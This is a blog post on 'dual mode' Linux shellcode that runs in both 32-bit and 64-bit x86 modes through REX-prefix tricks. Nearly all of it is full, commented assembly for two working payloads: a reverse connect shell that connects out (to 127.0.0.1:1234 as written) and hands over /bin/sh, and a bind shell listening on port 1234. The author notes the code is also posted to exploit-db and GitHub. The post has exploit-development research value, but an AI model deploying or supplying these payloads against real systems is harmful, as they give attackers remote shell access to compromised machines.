Shellcode: Dual Mode (x86 + x86-64) Linux shellcode

Introduction

Someone asked me recently what do you mean by “dual mode shellcode”? and it seems the wording is slightly ambiguous to those unfamiliar with the different operating modes of a CPU like x86 so I just wanted to clarify through some codes written for Linux.

All “dual mode” means is that the shellcode will run successfully in either legacy mode (32-bit) or long mode (64-bit) and that’s it.

You can’t really call them multiplatform because they only run on Linux and you can’t call them multi-architecture because they only run on the x86 cpu.

So I propose calling them “dual mode” or x84 but feel free to call ’em whatever you want.

They work by exploiting x86 REX prefixes like the dual mode code for windows shown here

x86-64 Linux shellcodes were documented last year and here are some dual mode versions.

The sources below are using 32-bit instructions to provide some clarity but will also run successfully in 64-bit mode.

Execute /bin/sh

sh

Reverse Connect Shellcode

; 123 byte reverse connect shell
;
; Tested on 32 and 64-bit versions of Linux
;

    bits    32
    
    ; sa.sin_family = AF_INET;
    ; sa.sin_port   = htons(1234);
    ; sa.sin_addr   = inet_addr("127.0.0.1");
    mov     eax, ~0xD2040002 & 0xFFFFFFFF 
    mov     ebx, ~0x0100007f & 0xFFFFFFFF 
    not     eax
    not     ebx
    push    ebx
    push    eax
    push    esp         ; &sa
    
    ; step 1, create a socket
    ; x64: socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    ; x86: socketcall(SYS_SOCKET, {AF_INET, SOCK_STREAM, IPPROTO_IP});
    xor     eax, eax    ; eax = 0
    cdq                 ; rdx = IPPROTO_IP
    mov     al, 103     ; eax = sys_socketcall
    push    1
    pop     esi         ; rsi = SOCK_STREAM
    push    2
    pop     edi         ; rdi = AF_INET    
    dec     eax
    jnz     x86_socket  ; jump to x86
    mov     al, 41      ; rax = sys_socket
    syscall
    
    xchg    eax, edi    ; edi = s
    xchg    eax, esi    ; esi = 2
    
    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2 (s, STDIN_FILENO)
    ; dup2 (s, STDOUT_FILENO)
    ; dup2 (s, STDERR_FILENO)
x64_dup2:
    mov     al, 33      ; rax = sys_dup2
    syscall
    sub     esi, 1      ; watch out for that bug 😉
    jns     x64_dup2    ; jump if not signed
    
    ; step 3, connect to remote host
    ; connect (s, &sa, sizeof(sa));
    pop     esi         ; rsi = &sa
    mov     dl, 16      ; rdx = sizeof(sa)
    mov     al, 42      ; rax = sys_connect
    syscall    
    jmp     x84_execve

x86_socket:
    pop     ebp         ; ebp = &sa
    push    esi         ; save 1
    pop     ebx         ; ebx = SYS_SOCKET
    push    edx         ; IPPROTO_IP
    push    ebx         ; SOCK_STREAM
    push    edi         ; AF_INET
    push    esp             
    pop     ecx         ; ecx = &args 
    int     0x80

    xchg    eax, ebx    ; ebx = s
    
    ; step 2, assign socket to stdin, stdout, stderr
    ; dup2 (s, STDIN_FILENO)
    ; dup2 (s, STDOUT_FILENO)
    ; dup2 (s, STDERR_FILENO)    
    pop     ecx         ; ecx = 2
x86_dup2:
    mov     al, 63      ; eax = sys_dup2
    int     0x80 
    dec     ecx
    jns     x86_dup2    ; jump if not signed
    
    ; step 3, connect to remote host
    ; socketcall (SYS_CONNECT, {s, &sa, sizeof(sa)});
    push    16          ; sizeof(sa) 
    push    ebp         ; &sa
    push    ebx         ; s
    push    esp
    pop     ecx         ; &args
    push    3
    pop     ebx         ; ebx = sys_connect
    mov     al, 102     ; eax = sys_socketcall    
    int     0x80
    
    ; execve("/bin//sh", NULL, NULL);
x84_execve:
    cdq                 ; envp = NULL
    xor     esi, esi    ; argv = NULL
    push    eax         ; '\0'
    push    eax         ; null space
    push    eax         ; null space
    push    esp
    pop     ebx         ; ebx = "/bin//sh", 0
    push    ebx         ; save pointer to "/bin//sh", 0
    pop     edi         ; rdi = "/bin//sh", 0
    mov     dword[edi+0], '/bin'
    mov     dword[edi+4], '//sh'
    inc     eax
    jnz     x86_execve
    mov     al, 59      ; rax = sys_execve
    syscall
x86_execve:
    xor     ecx, ecx    ; argv = NULL
    mov     al, 11      ; eax  = sys_execve
    int     0x80

Bind Shellcode

; 144 byte bind shell
;
; Tested on 32 and 64-bit versions of Linux
;

    bits 32

    ; sa.sin_family = AF_INET;
    ; sa.sin_port   = htons(1234);    
    ; sa.sin_addr   = INANY_ADDR;
    xor     eax, eax
    mov     edx, ~0xD2040002 & 0xFFFFFFFF 
    not     edx    
    push    eax         ; INADDR_ANY, 1234 
    push    edx         ;  
    push    esp         ; ebp = &sa
    pop     ebp
    
    ; step 1, create a socket
    ; x64: socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    ; x86: socketcall(SYS_SOCKET, {AF_INET, SOCK_STREAM, IPPROTO_IP});
    cdq                 ; rdx = IPPROTO_IP
    mov     al, 103     ; eax = sys_socketcall
    push    1
    pop     esi         ; rsi = SOCK_STREAM
    push    2
    pop     edi         ; rdi = AF_INET    
    dec     eax
    jnz     x86_socket  ; jump to x86
    mov     al, 41      ; rax = sys_socket
    syscall
    
    xchg    eax, edi    ; edi=s
    
    ; step 2, bind to port 1234 
    ; bind(sockfd, {AF_INET,1234,INADDR_ANY}, 16)
    push    ebp
    pop     esi
    mov     dl, 16
    mov     al, 49
    syscall
    
    ; step 3, listen
    ; listen(s, 0);
    xor     esi, esi
    mov     al, 50
    syscall
    
    ; step 4, accept connections
    ; accept(s, 0, 0);
    mov     al, 43
    syscall
    
    xchg    eax, edi         ; edi=s
    xchg    eax, esi         ; esi=2
    
    ; step 5, assign socket handle to stdin,stdout,stderr
    ; dup2(r, fileno);
dup_loop64:
    mov     al, 33               ; rax=sys_dup2
    syscall
    sub     esi, 1
    jns     dup_loop64       ; jump if not signed   
    jmp     x84_execve
    
x86_socket:
    push    esi         ; save 1
    pop     ebx         ; ebx = SYS_SOCKET
    push    edx         ; IPPROTO_IP
    push    ebx         ; SOCK_STREAM
    push    edi         ; AF_INET
    push    esp             
    pop     ecx         ; ecx = &args 
    int     0x80

    xchg    eax, edi    ; ebx = s

    ; step 2, bind to port 1234
    ; bind (s, &sa, sizeof(sa))
    pop    ebx               ; ebx=2, sys_bind
    pop    esi               ; esi=1
    push   0x10              ; sizeof(sa)
    push   ebp               ; &sa
    push   edi               ; s
    mov    al, 0x66          ; eax=sys_socketcall
    mov    ecx, esp          ; ecx=&args
    int    0x80
    
    mov    [ecx+4], edx      ; clear sa from args
    
    ; step 3, listen for incoming connections
    ; listen (s, 0);
    mov    al, 0x66          ; eax=sys_socketcall
    mov    bl, 4             ; ebx=sys_listen
    int    0x80
    
    ; step 4, accept connections
    ; accept (s, 0, 0);
    mov    al, 0x66          ; eax=sys_socketcall
    inc    ebx               ; ebx=sys_accept
    int    0x80
    
    ; step 5, assign socket to stdin, stdout and stderr
    ; dup2(s, FILENO_STDIN); 
    ; dup2(s, FILENO_STDOUT); 
    ; dup2(s, FILENO_STDERR); 
    push   2
    pop    ecx               ; ecx=2
    xchg   ebx, eax          ; ebx=s
dup_loop:
    mov    al, 0x3f           ; eax=sys_dup2
    int    0x80
    dec    ecx
    jns    dup_loop

    ; execve("/bin//sh", NULL, NULL);
x84_execve:
    cdq                 ; envp = NULL
    xor     esi, esi    ; argv = NULL
    push    eax         ; '\0'
    push    eax         ; null space
    push    eax         ; null space
    push    esp
    pop     ebx         ; ebx = "/bin//sh", 0
    push    ebx         ; save pointer to "/bin//sh", 0
    pop     edi         ; rdi = "/bin//sh", 0
    mov     dword[edi+0], '/bin'
    mov     dword[edi+4], '//sh'
    inc     eax
    jnz     x86_execve
    mov     al, 59      ; rax = sys_execve
    syscall
x86_execve:
    xor     ecx, ecx    ; argv = NULL
    mov     al, 11      ; eax  = sys_execve
    int     0x80

Summary

I’ve uploaded code to exploit-db in event my blog goes offline for any reason. The sources are also in github repo here

Advertisements
This entry was posted in assembly, linux, programming, security, shellcode and tagged , , , , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s